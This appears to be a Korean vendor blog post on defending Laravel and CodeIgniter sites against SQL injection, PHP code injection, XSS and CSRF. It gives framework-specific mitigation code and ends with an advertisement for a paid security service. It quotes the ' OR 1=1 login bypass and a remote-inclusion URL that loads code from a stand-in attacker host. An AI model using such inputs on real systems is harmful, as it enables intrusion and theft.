Laravel과 CodeIgniter는 웹사이트를 구축하는 데 널리 사용되는 대표적인 오픈소스 PHP 프레임워크입니다. 두 프레임워크의 인기는 오픈소스라는 특성 덕분이기도 합니다. 하지만 이러한 프레임워크를 활용해 사이트를 배포한다고 해서 자동으로 안전해지는 것은 아닙니다. 진정한 보안은 안전한 개발 습관에서 나옵니다. 실제로 커뮤니티 포럼에서 가장 많이 다뤄지는 보안 주제가 CodeIgniter SQL 인젝션과 Laravel SQL 인젝션입니다. SQL 인젝션(SQLi) 외에도 잘못된 개발 관행은 XSS, CSRF, RFI(원격 파일 포함) 공격 등에 노출시키는 원인이 됩니다.
CodeIgniter·Laravel 사이트 해킹 사례
SQL 인젝션과 같은 공격은 CodeIgniter나 Laravel 기반 웹사이트 전체를 장악할 수 있습니다. 이런 공격은 매우 흔하게 발생하며, 실제로 유사한 피해를 입은 수많은 사용자가 Laravel 커뮤니티 포럼이나 CodeIgniter 커뮤니티 포럼에서 도움을 요청하고 있습니다.
CodeIgniter·Laravel 해킹의 주요 증상
- 민감한 정보를 탈취하도록 설계된 피싱 페이지가 사이트에 나타납니다.
- 사용자들이 악성 사이트로 강제 리디렉션된다고 불평합니다.
- 일본어 키워드 해싱이나 제약(pharma) 해킹 등으로 인해 의미 없는 텍스트(gibberish) 콘텐츠가 표시됩니다.
- 웹사이트가 매우 느려지고 오류 메시지가 출력됩니다.
- 외부 호스팅을 이용하는 경우 “귀하의 계정이 정지되었습니다!”라는 메시지가 나타납니다.
- 검색 엔진 블랙리스트에 사이트가 등재됩니다.
- 오류 로그에서 SQL 인젝션 등 공격 시도의 흔적이 발견됩니다.
- 로그에 낯선 원격 IP 주소로부터의 접속 기록이 남습니다.
- 사용자 데이터베이스에 모르는 새 관리자 계정이 생성됩니다.
CodeIgniter·Laravel 해킹의 근본 원인
1) 인젝션(Injection) 공격
a) SQL 인젝션
CodeIgniter SQL 인젝션은 웹 전반에서 가장 광범위하게 발생하는 공격 중 하나입니다. 이름 그대로 서버 데이터베이스를 표적으로 삼으며, 공격자는 이 취약점을 악용해 다음을 수행할 수 있습니다.
- 데이터베이스 데이터 열람 및 유출
- 데이터베이스 내용 변조 (전체 삭제까지 가능!)
- 경우에 따라 리버스 셸(reverse shell) 확보
' OR 1=1같은 입력값으로 인증 우회
b) PHP 코드 인젝션
PHP 코드 인젝션은 공격자가 Laravel/CodeIgniter 사이트에서 임의의 PHP 코드를 실행할 수 있게 하는 또 다른 일반적인 취약점입니다. 다만 명령어 인젝션(command injection)과 달리, 해당 언어(PHP)의 코드만 실행할 수 있다는 점이 차이입니다. 예컨대 취약한 파라미터에 https://testsite.com/?page=https://evilsite.com/evilcode.php처럼 악성 PHP 파일 링크를 삽입할 수 있습니다.
이 파일에는 phpinfo() 같은 함수가 담겨 있어 시스템 정보를 빼낼 수 있습니다.
2) 크로스 사이트 스크립팅(XSS)
Laravel/CodeIgniter 사이트에서 XSS 취약점은 입력값 검증(sanitization) 부족으로 발생합니다. 두 프레임워크 모두 이러한 공격을 방지하기 위한 전용 보안 기능을 갖추고 있습니다. 공격자는 XSS를 통해 다음을 수행할 수 있습니다.
- 피싱을 통해 쿠키 및 세션 데이터 탈취
- 사용자를 악성 사이트로 리디렉션
- 동일 출처 정책(same-origin policy) 우회
3) 크로스 사이트 요청 위조(CSRF)
CSRF 공격은 사용자를 속여 원치 않는 동작을 실행하게 만드는 공격입니다. 다만 이 공격은 데이터를 조작(양식 삭제 등)할 수는 있지만 읽거나 훔칠 수는 없습니다. 최악의 경우, 피해자가 관리자라면 애플리케이션 전체가 무너질 수 있습니다. 공격자는 소셜 엔지니어링 기법으로 피해자가 링크를 클릭하게 만들고, 그 결과 백그라운드에서 계정 삭제 같은 명령이 실행됩니다.
CodeIgniter 또는 Laravel 사이트가 해킹당했다면 지금 채팅 위젯으로 문의하세요. 해킹당한 사이트 복구를 도와드리겠습니다.
4) CodeIgniter·Laravel 사이트 보호 방법
CodeIgniter에서 SQL 인젝션 방지하기
CodeIgniter는 다양한 보안 기능을 기본 제공하며, 그중에는 SQL 인젝션 방지를 위한 함수와 라이브러리도 포함되어 있습니다. 핵심 세 가지 방법을 하나씩 살펴보겠습니다.
(1) 쿼리 이스케이프(Escape)
PHP 애플리케이션에 데이터를 전달하기 전에 이스케이프 처리하면 입력값이 정화됩니다. 반드시 습관화해야 할 안전한 관행이며, 이스케이프는 세 가지 방식으로 수행할 수 있습니다.
- $this->db->escape(): 데이터 타입을 판별한 후 이스케이프 처리
- $this->db->escape_str(): 데이터 타입을 판별하지 않고 단순히 이스케이프 처리
- $this->db->escape_like_str(): LIKE 조건문에 사용
다음 코드 예시를 참고하세요.
<?php
$email = $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name ='. $this->db->escape($email);
$this->db->query($query);
?>
이 코드에서 $this->db->escape()는 먼저 데이터 타입을 판별하여 문자열 데이터만 이스케이프합니다. 또한 입력 데이터 주위에 작은따옴표를 자동으로 추가해 CodeIgniter SQL 인젝션을 차단합니다.
(2) 쿼리 바인딩(Query Binding)
쿼리 바인딩은 입력값 정화와 동시에 코드를 단순화해 줍니다. 시스템이 쿼리를 대신 구성하므로 개발자의 부담이 줄어듭니다. 아래 예시를 확인하세요.
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email = ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com')); ?>
첫 번째 줄에서 값 대신 물음표(?)가 사용된 것을 볼 수 있습니다. 쿼리 바인딩 방식에서는 이 물음표가 두 번째 줄 배열 값으로 자동 치환됩니다. 앞선 예제의 수동 이스케이프와 달리, 이 방법은 자동으로 처리하므로 CodeIgniter SQL 인젝션을 효과적으로 막습니다.
(3) 액티브 레코드(Active Record)
CodeIgniter의 액티브 레코드 기능을 활용하면 최소한의 코드로 데이터베이스 작업을 수행할 수 있습니다. 시스템 자체 기능이므로 쿼리 이스케이프가 자동으로 적용됩니다. 예를 들어 테이블의 모든 데이터는 아래 한 줄로 조회할 수 있습니다.
$query = $this->db->get('mytable');
Laravel에서 SQL 인젝션 방지하기
Laravel의 ORM(Object-Relational Mapping)은 PHP 객체 데이터 바인딩을 사용해 사용자 입력을 정화하므로 Laravel SQL 인젝션을 예방합니다. 파라미터 바인딩은 따옴표도 자동으로 추가해 ' OR 1=1 같은 악성 입력에 의한 인증 우회를 차단합니다.
$results = DB::select('select * from users where id = :id', ['id' => 1]);
위 코드는 Laravel에서 명명 바인딩(named binding) 쿼리를 구현한 예시입니다.
CodeIgniter에서 XSS 방지하기
잠재적 XSS 공격에 대비해 CodeIgniter는 내장 XSS 필터를 제공합니다. 이 필터는 악성 요청을 발견하면 문자 엔터티(character entity)로 변환해 애플리케이션을 보호합니다. 필터는 xss_clean() 메서드로 호출할 수 있습니다.
$data = $this->security->xss_clean($data);
공격자가 이미지 파일에 악성 코드를 심는 경우도 있습니다. 이를 방지하려면 업로드된 파일의 보안 여부도 검사해야 합니다.
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// 파일이 XSS 검사에 실패함
}
이 코드는 이미지가 안전하면 True, 아니면 False를 반환합니다. 참고로 HTML 속성 값을 필터링하려면 html_escape() 메서드를 사용하는 것이 좋습니다.
Laravel에서 XSS 방지하기
이스케이프(echo escaping)를 활용하면 Laravel 사이트의 XSS 공격을 예방할 수 있습니다. 이스케이프 처리는 허가받지 않은 입력의 실행을 막아줍니다. 특히 Laravel 5.1 이상 버전에서는 이 기능이 기본 활성화되어 있습니다. 따라서 <div>{{ $task->names }}</div>처럼 입력을 받으면, 자동 이스케이프 덕분에 애플리케이션은 취약해지지 않습니다.
또한 사용자 입력 길이를 제한하면 일부 XSS 및 SQLi 공격을 차단할 수 있습니다. HTML 코드로 구현하면 다음과 같습니다.
<input type="text" name="task" maxlength="10">
JS 함수로도 동일하게 구현할 수 있습니다. Laravel의 {{ }} 문법은 전달된 악성 HTML 엔터티를 기본적으로 이스케이프합니다. 더불어 이 목적을 위해 특별히 설계된 라이브러리들도 있으니 활용하면 좋습니다. Blade 같은 템플릿 엔진을 사용하면 자동으로 이스케이프 처리되어 이런 공격을 예방합니다.
CodeIgniter에서 CSRF 방지하기
CodeIgniter에서는 application/config/config.php 파일을 수정해 CSRF 보호를 활성화할 수 있습니다. 파일에 다음 코드를 추가하기만 하면 됩니다.
$config['csrf_protection'] = TRUE;
Form Helper를 사용하는 경우 form_open() 함수가 폼에 숨겨진 CSRF 토큰 필드를 기본 삽입합니다. 또 다른 방법은 get_csrf_token_name()과 get_csrf_hash()를 사용하는 것입니다. 폼과 서버 측 구현 예시는 아래와 같습니다.
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
<input type="hidden" name="<?= $csrf['name']; ?>" value="<?= $csrf['hash']; ?>" />
토큰 재생성(token regeneration) 역시 CSRF 공격을 막는 좋은 방법입니다. 다만 토큰 재생성은 사용자가 다른 탭으로 이동한 뒤 돌아왔을 때 재인증이 필요할 수 있다는 점에서 번거로울 수 있습니다. 설정은 다음과 같이 합니다.
$config['csrf_regenerate'] = TRUE;
Laravel에서 CSRF 방지하기
Laravel은 CSRF 공격으로부터 보호하기 위해 폼에 토큰을 구현합니다. 이 토큰은 각 폼에 내장된 AJAX 호출로 참조되며, 요청 토큰 데이터가 서버에 저장된 세션 토큰과 일치하는지 검증해 이상 징후를 확인합니다. CSRF 토큰은 다음 코드(Blade 템플릿 구현)로 폼에 전달할 수 있습니다.
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- 다른 입력 필드가 위치할 곳 -->
</form>
또한 laravelcollective/html 패키지를 사용하면 CSRF 토큰이 기본으로 추가됩니다.
오류 리포트 비활성화하기
오류 메시지는 개발 환경에서는 유용하지만, 운영 환경에서는 민감한 정보를 공격자에게 노출할 수 있습니다. 따라서 오류 리포트를 비활성화하는 것이 권장됩니다.
PHP 오류
PHP 오류 리포트를 끄려면 index.php 파일에서 error_reporting() 함수에 0을 인수로 전달합니다.
error_reporting(0);
CodeIgniter 2.0.1 이상 버전에서는 index.php의 환경 상수를 'production'으로 설정해 PHP 오류 출력을 비활성화할 수 있습니다.
데이터베이스 오류
데이터베이스 오류는 application/config/database.php 파일을 수정해 비활성화합니다. db_debug 옵션을 FALSE로 설정하세요.
$db['default']['db_debug'] = FALSE;
오류 로깅
더 현명한 방법은 발생한 오류를 화면에 표시하는 대신 로그 파일로 기록하는 것입니다. /config/config.php의 log_threshold 값을 1로 설정하면 됩니다.
$config['log_threshold'] = 1;
웹 애플리케이션 방화벽(WAF) 활용
숙련된 개발자라도 Laravel/CodeIgniter 사이트를 취약하게 만들 수 있는 설정을 놓칠 수 있습니다. 게다가 공격자들은 끊임없이 새로운 공격 방법을 찾아냅니다. 따라서 방화벽(WAF)이나 보안 솔루션을 함께 사용하는 것이 또 하나의 안전한 관행입니다. Astra는 유연한 요구 사항에 맞춘 보안 솔루션으로, 사용한 만큼만 지불하면 됩니다. 월 9달러부터 시작하는 턴키형 보안 솔루션이니, 지금 문의해 PHP 코드 보안에 한 걸음 더 가까워지세요. 데모 신청도 가능합니다!
Astra는 80개 이상의 액티브 테스트와 수동·자동 테스트의 적절한 조합을 통해 Laravel 또는 CodeIgniter 웹사이트에 대한 종합 보안 감사를 제공합니다.